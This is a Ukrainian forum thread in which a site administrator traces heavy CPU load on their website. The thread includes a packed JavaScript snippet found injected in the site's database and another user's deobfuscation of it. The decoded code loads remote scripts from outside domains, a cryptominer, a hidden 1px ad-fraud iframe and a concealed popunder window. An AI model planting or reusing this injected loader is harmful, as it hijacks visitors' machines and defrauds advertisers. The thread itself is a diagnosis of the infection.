1

Тема: Як визначити чому сайт грузить процесор?

Сайт грузить процесор компютера на 80%. Підкажіть будь ласка якими методами визначити, що за скріпт таке робить?
В ІЕ все норм.

Подякували: ПУКАС ПРОНАС1

2

Re: Як визначити чому сайт грузить процесор?

Developer tools є вбудований в будь-який сучасний браузер і там є така штука як performance

Подякували: koala, leofun01, mutio433

3 Востаннє редагувалося karmeljuk (01.12.2017 16:45:19)

Re: Як визначити чому сайт грузить процесор?

Можливо ваш комп почав майнити криптовалюту, особливо якщо ви відвідували сайт Львівводоканалу

Подякували: ostap34PHP, leofun01, Betterthanyou3

4 Востаннє редагувалося /KIT\ (08.07.2021 12:50:34)

Re: Як визначити чому сайт грузить процесор?

`

Подякували: leofun01, ostap34PHP2

5

Re: Як визначити чому сайт грузить процесор?

mutio43 написав:

Сайт грузить процесор компютера на 80%. Підкажіть будь ласка якими методами визначити, що за скріпт таке робить?
В ІЕ все норм.

Напишіть тип процесора і материнської плати, а також постарайтеся відповісти на наступні питання.
1. Процесор вантажиться при роботі з будь-яким сайтом або з одним конкретним?
2. Процесор вантажиться при роботі з будь-яким браузером або з одним конкретним?
3. Яка версія OS?
4. Яка версія IE?
5. Яка версія JRE?
6. Скільки часу завантажується комп'ютер після включення живлення?

6 Востаннє редагувалося leofun01 (02.12.2017 14:09:18)

Re: Як визначити чому сайт грузить процесор?

Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...

Подякували: 0xDADA11C7, Monolith, mutio433

7

Re: Як визначити чому сайт грузить процесор?

leofun01 написав:

Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...

У MS Windows іноді спостерігаються проблеми з сайтами із-за неправильної організації доступу до WMI з вини драйверів або налаштування політики безпеки.

8 Востаннє редагувалося mutio43 (04.12.2017 10:43:44)

Re: Як визначити чому сайт грузить процесор?

Напишіть тип процесора і материнської плати, а також постарайтеся відповісти на наступні питання.
1. Процесор вантажиться при роботі з будь-яким сайтом або з одним конкретним?
2. Процесор вантажиться при роботі з будь-яким браузером або з одним конкретним?
3. Яка версія OS?
4. Яка версія IE?
5. Яка версія JRE?
6. Скільки часу завантажується комп'ютер після включення живлення?

Це справа не в процесорі та материнці. Я перевіряв сайт на декілька компютерах, всюди нагрузка процегора зашкалювала.

Це проблема з одним конкретним сайтом, який я адмініструю.

9

Re: Як визначити чому сайт грузить процесор?

Smolenkov_BN, конкретно в цьому випадку все набагато простіше. В браузері достатньо відключити javascript і більше ніякий сайт не нагрузить процесор.
Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.
Хтось майнить криптовалюти, хтось проводить розподілені обчислення ...

Відключити javascript в браузері допомогло. Попробую тепер знайти який саме скріпт таке робить.

10

Re: Як визначити чому сайт грузить процесор?

Якщо щось зациклилося, скоріше за все ви потрапите саме в це місце, коли натиснете пазу в дебагері.

11

Re: Як визначити чому сайт грузить процесор?

mutio43 написав:

Відключити javascript в браузері допомогло. Попробую тепер знайти який саме скріпт таке робить.

У мене було приблизно близько 40 випадків, схожих на цей:
- браузери сторонніх виробників на деяких материнських платах азіатського походження під OS Windows навантажували процесор без коригування мережевих підключень (наприклад, FixCCS і KB953979 для Windows XP SP3);
- установка декількох інтерпретаторів JS (наприклад, Oracle Java і вбудованого у браузер) може викликати так звану "гонку скриптів в одному вікні", яка навантажує процесор;
- сайт з протоколом HTTPS в українському домені UA припаркували на російському хостингу;
- для завантаження скриптів на сайті з протоколом HTTP використовуються зовнішні CDN з протоколом HTTPS, що може навантажувати процесор на деяких хостингах;
- і т.д., і т.п.
Оптимальний варіант OS для налаштування і перевірки працездатності CMS на хостингу - це не Windows, а швидкі NIX типу LPS, легко завантажувані з мобільного носія інформації (CD або USBFlash)
https://sites.google.com/site/linuxlablibrary/security
У Вашому випадку можна піти таким шляхом.
Запускаємо браузер Firefox.
Додаємо в нього плагин Firebug
http://getfirebug.com/
Відкриваємо панель Firebug.
Заходимо на сторінку з помилкою.
Натискаємо кнопку "Профілювати".
Чекаємо, поки вантажиться процесор.
Натискаємо кнопку ще раз.
Вивчаємо список виконуваних функцій з невеликою статистикою по кожній.
Якщо видимих помилок немає, то вирішення проблеми в цілому:
перейти на GET/POST запити і не робити рендеринг сторінки у браузері.

12 Востаннє редагувалося /KIT\ (08.07.2021 12:50:30)

Re: Як визначити чому сайт грузить процесор?

`

13 Востаннє редагувалося leofun01 (06.12.2017 23:52:13)

Re: Як визначити чому сайт грузить процесор?

/KIT\ написав:
leofun01 написав:

Я бачив багато сайтів, які грузять процесори (і навіть відеокарти) користувачів через javascript.

Наведіть мені, будь-ласка, приклади сайтів, які грузять відеокарти.

На сайті можуть використовуватися Canvas, WebGL, Flash Player, Unity Web Player. Без спеціальних налаштувань, всі вони використовують саме відеокарту, а не тільки ЦП.

14

Re: Як визначити чому сайт грузить процесор?

unity web player'а уже ж немає наче, перейшли до html5's Canvas

Подякували: leofun01, /KIT\2

15

Re: Як визначити чому сайт грузить процесор?

Ця фігня грузила процесор: (почистив базу від цього і все гуд)

<script>// <![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 0=1.3(\'2\');0.5=\'//a.6/9\';1.8.7(0)',11,11,'elr|document|script|createElement|var|src|info|appendChild|head|TJ86kh|pokemgo'.split('|'),0,{}))
// ]]></script>

Не дуже шарю в js, топу підкажіть будь ласка:
Що конкретно робить цей скріп?
Змінювати всі паролі?

Подякували: ПУКАС ПРОНАС1

16 Востаннє редагувалося koala (11.12.2017 13:05:57)

Re: Як визначити чому сайт грузить процесор?

За допомогою http://jsnice.org/ отримав

Прихований текст
eval(function(str, radix, data, cache, f, opt_attributes) {
  /**
   * @param {(number|string)} arg1
   * @return {?}
   */
  f = function(arg1) {
    return arg1.toString(36);
  };
  if (!"".replace(/^/, String)) {
    for (;data--;) {
      /** @type {string} */
      opt_attributes[data.toString(radix)] = cache[data] || data.toString(radix);
    }
    /** @type {Array} */
    cache = [function(timeoutKey) {
      return opt_attributes[timeoutKey];
    }];
    /**
     * @return {?}
     */
    f = function() {
      return "\\w+";
    };
    /** @type {number} */
    data = 1;
  }
  for (;data--;) {
    if (cache[data]) {
      /** @type {string} */
      str = str.replace(new RegExp("\\b" + f(data) + "\\b", "g"), cache[data]);
    }
  }
  return str;
}("4 0=1.3('2');0.5='//a.6/9';1.8.7(0)", 11, 11, "elr|document|script|createElement|var|src|info|appendChild|head|TJ86kh|pokemgo".split("|"), 0, {}));

функція явно формує щось для eval, і ніби не містить небезпечного коду. Спробую запустити:
"var elr=document.createElement('script');elr.src='//pokemgo.info/TJ86kh';document.head.appendChild(elr)"
оце і є реальний код - з pokemgo.info:

Прихований текст
if((Gc('_ym_lng') == null)){ var el = document.createElement('script'); el.src = 'https://ladoshka.webcam/et.js'; document.head.appendChild(el); var fr = document.createElement('iframe'); fr.src = 'https://advpromo.biz/partner/go.php?tag=skpt'; fr.setAttribute("width", "1px"); fr.setAttribute("height", "1px"); document.head.appendChild(fr); } if((navigator.userAgent.match(/(chrome)/i)!==null)&&(document.referrer.match(/(google|yandex)/i)!==null)&&(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|iphone|ipod|ipad|mtk|bada|windows phone)/i)==null)){ nwd = function(){ if((Gc('_ym_lng') == null)){ Se('_ym_lng','1','', "/"); newWin = window.open("https://pokemgo.info/6T8PZb", "Chrome", 'scrollbars=no', ''); } newWin.resizeTo(0, 0 ); newWin.moveTo(9999, 9999); miner.stop(); }; var bd = document.getElementsByTagName("body")[0]; window.onclick = nwd; } function Gv (offset) { var en = document.cookie.indexOf (";", offset); if (en == -1) en = document.cookie.length; return unescape(document.cookie.substring(offset, en)); } function Gc (name) { var arg = name + "="; var al = arg.length; var cl = document.cookie.length; var i = 0; while (i < cl) { var j = i + al; if (document.cookie.substring(i, j) == arg) return Gv (j); i = document.cookie.indexOf(" ", i) + 1; if (i == 0) break; } return null; } function Se (name, value) { var argv = Se.arguments; var argc = Se.arguments.length; var path = (argc > 3) ? argv[3] : null; var domain = (argc > 4) ? argv[4] : null; var secure = (argc > 5) ? argv[5] : false; document.cookie = name + "=" + escape (value) + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); } if (document.querySelector) { var node = document.querySelector('script[src*="//pokemgo.info/TJ86kh"]'); if (node && node.remove) { node.remove(); } }

Знову jsnice:

Прихований текст
if (Gc("_ym_lng") == null) {
  /** @type {Element} */
  var el = document.createElement("script");
  /** @type {string} */
  el.src = "https://ladoshka.webcam/et.js";
  document.head.appendChild(el);
  /** @type {Element} */
  var fr = document.createElement("iframe");
  /** @type {string} */
  fr.src = "https://advpromo.biz/partner/go.php?tag=skpt";
  fr.setAttribute("width", "1px");
  fr.setAttribute("height", "1px");
  document.head.appendChild(fr);
}
if (navigator.userAgent.match(/(chrome)/i) !== null && (document.referrer.match(/(google|yandex)/i) !== null && navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|iphone|ipod|ipad|mtk|bada|windows phone)/i) == null)) {
  /**
   * @return {undefined}
   */
  nwd = function() {
    if (Gc("_ym_lng") == null) {
      Se("_ym_lng", "1", "", "/");
      /** @type {(Window|null)} */
      newWin = window.open("https://pokemgo.info/6T8PZb", "Chrome", "scrollbars=no", "");
    }
    newWin.resizeTo(0, 0);
    newWin.moveTo(9999, 9999);
    miner.stop();
  };
  var bd = document.getElementsByTagName("body")[0];
  /** @type {function (): undefined} */
  window.onclick = nwd;
}
/**
 * @param {number} s
 * @return {?}
 */
function Gv(s) {
  /** @type {number} */
  var p = document.cookie.indexOf(";", s);
  if (p == -1) {
    /** @type {number} */
    p = document.cookie.length;
  }
  return unescape(document.cookie.substring(s, p));
}
/**
 * @param {string} dataAndEvents
 * @return {?}
 */
function Gc(dataAndEvents) {
  /** @type {string} */
  var number = dataAndEvents + "=";
  /** @type {number} */
  var n = number.length;
  /** @type {number} */
  var valuesLen = document.cookie.length;
  /** @type {number} */
  var i = 0;
  for (;i < valuesLen;) {
    /** @type {number} */
    var e = i + n;
    if (document.cookie.substring(i, e) == number) {
      return Gv(e);
    }
    /** @type {number} */
    i = document.cookie.indexOf(" ", i) + 1;
    if (i == 0) {
      break;
    }
  }
  return null;
}
/**
 * @param {string} n
 * @param {string} k
 * @return {undefined}
 */
function Se(n, k) {
  var args = Se.arguments;
  var len = Se.arguments.length;
  var val = len > 3 ? args[3] : null;
  var value = len > 4 ? args[4] : null;
  var first = len > 5 ? args[5] : false;
  /** @type {string} */
  document.cookie = n + "=" + escape(k) + (val == null ? "" : "; path=" + val) + (value == null ? "" : "; domain=" + value) + (first == true ? "; secure" : "");
}
if (document.querySelector) {
  /** @type {(Element|null)} */
  var node = document.querySelector('script[src*="//pokemgo.info/TJ86kh"]');
  if (node && node.remove) {
    node.remove();
  }
}
;

Далі треба копати?

Подякували: mutio43, leofun01, ПУКАС ПРОНАС3

17

Re: Як визначити чому сайт грузить процесор?

І так, це таки (третій рядок в https://ladoshka.webcam/et.js )

Подякували: mutio43, leofun012

18

Re: Як визначити чому сайт грузить процесор?

/KIT\ написав:

Наведіть мені, будь-ласка, приклади сайтів, які грузять відеокарти.

Мій улюблений: https://www.shadertoy.com/

Подякували: leofun011